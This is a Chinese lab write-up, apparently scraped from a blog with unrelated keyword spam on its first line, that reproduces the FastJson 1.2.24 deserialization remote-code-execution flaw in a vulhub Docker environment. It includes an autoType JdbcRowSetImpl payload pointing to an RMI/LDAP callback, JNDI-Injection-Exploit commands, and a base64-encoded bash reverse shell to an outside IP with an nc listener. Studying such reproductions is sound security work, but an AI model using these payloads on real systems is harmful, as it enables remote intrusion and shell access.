网上电影网站怎么做的,中建装饰集团有限公司官网,下关网站建设,asp.net网站安装顺序fastjson_1.2.24_unserialize_rce
说明内容漏洞编号CNVD-2017-02833漏洞名称FastJson 1.2.24 远程代码执行漏洞评级高危影响范围1.2.24漏洞描述通过parseObject/parse将传入的字符串反序列化为Java对象时由于没有进行合理检查修复方案升级组件#xff0c;打补丁#xf…fastjson_1.2.24_unserialize_rce
说明内容漏洞编号CNVD-2017-02833漏洞名称FastJson 1.2.24 远程代码执行漏洞评级高危影响范围1.2.24漏洞描述通过parseObject/parse将传入的字符串反序列化为Java对象时由于没有进行合理检查修复方案升级组件打补丁上设备
1.1 漏洞描述
FastJson是Alibaba的一款开源Json解析库可用于将Java对象转换为其Json表示形式也可以用于将Json字符串转换为等效的Java对象。近几年来FastJson漏洞层出不穷。RCE漏洞的源头17年FastJson爆出的1.2.24反序列化漏洞。 关于FastJson1.2.24反序列化漏洞简单来说就是FastJson通过parseObject/parse将传入的字符串反序列化为Java对象时由于没有进行合理检查而导致的。
fastjson在解析json的过程中支持使用autoType来实例化某一个具体的类并调用该类的set/get方法来访问属性。通过查找代码中相关的方法即可构造出一些恶意利用链。
1.2 漏洞等级
高危
1.3 影响版本
1.2.24
1.4 漏洞复现
1.4.1 基础环境
组件版本vulhub/fastjson/1.2.24-rceFastJson1.2.24
运行测试环境
sudo docker-compose up -d环境运行后访问http://your-ip:8090即可看到JSON格式的输出
1.4.2 漏洞验证
获取数据包 GET请求转成POST请求并把表单类型改为json类型发包测试数据
{name:GHUI,age:23}上图过程
json -序列化- object -反序列化- json1.4.3 漏洞检测
可以使用BurpSuite扩展fastjsonScan 进行漏洞检测
下载插件
proxychains wget https://github.com/Maskhe/FastjsonScan/releases/download/1.0/FastjsonScan.jar添加插件 添加成功 利用: 得到漏洞利用的poc:
{handsome:{type:Lcom.sun.rowset.JdbcRowSetImpl;,dataSourceName:rmi://p0q52dzlyyr7lwzrv7xvlzozmqsgg5.oastify.com/aaa,autoCommit:true}}说明 RMI全称为Remote Method Invocation 远程方法调用是java独立的一种机制。 RMI的作用就是在一个java虚拟机调用另一个java虚拟机上对象的方法在网络传输的过程中RMI中对象是通过序列化的形式进行编码传输既然有序列化必然会有反序列化RMI服务端在接收到序列化后的会将对象进行反序列化。 在反序列化攻击中我们可能找不到反序列化的点那么使用RMI就可以作为反序列化利用链的触发点 java远程加载恶意类 RMI
若不知道RMI,可以把RMI理解为类似于http协议远程加载一个类。
使用DNSlog 查看是否有回显
第一步 第二步 第三步 第四步将rmi换成ldap 检测结果 检测到了说明我们生成的rmi能够尝试在外部请求资源。
构造RMI服务器
git config -l #拿到网址https://github.com/welk1n/JNDI-Injection-Exploit.git 解释 命令git config -l用于列出Git版本控制系统的配置信息。通过运行该命令您可以查看当前项目或全局的Git配置项及其对应的值。这些配置项包括用户名、邮箱、编辑器设置、远程仓库等。 打开网址有使用说明
$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]1.4.4 漏洞验证
开启RMI服务器
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C touch /tmp/ghuii -A 10.9.75.58复制rmi://10.9.75.58:1099/1hjdrq到bp中 发包 这里显示有请求。
看一下在tmp中是否创建了ghuii文件
sudo docker ps -asudo docker exec -it 729 /bin/bashghuii文件创建成功
居然这里能够创建文件那么是不是能上传一个反弹shell:
bash -i /dev/tcp/10.9.75.58/1234 01#base64编码
YmFzaCAtaSAJiAvZGV2L3RjcC8xMC45Ljc1LjU4LzEyMzQgMD4mMQ#将编码放入
bash -c {echo,YmFzaCAtaSAJiAvZGV2L3RjcC8xMC45Ljc1LjU4LzEyMzQgMD4mMQ}|{base64,-d}|{bash,-i}或者直接构造 开启监听端口
nc -lnvp 1234然后把-C里面的数据换掉
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C bash -c {echo,YmFzaCAtaSAJiAvZGV2L3RjcC8xMC45Ljc1LjU4LzEyMzQgMD4mMQ}|{base64,-d}|{bash,-i} -A 10.9.75.58把ldap://10.9.75.58:1389/fuwphp 复制到bp 发包 成功监听到。
总结
Fastjson_1.2.24存在反序列化漏洞。
注做反弹shell时需要本地构造一个一个服务器让对方服务器到本地访问加载资源然后执行恶意命令。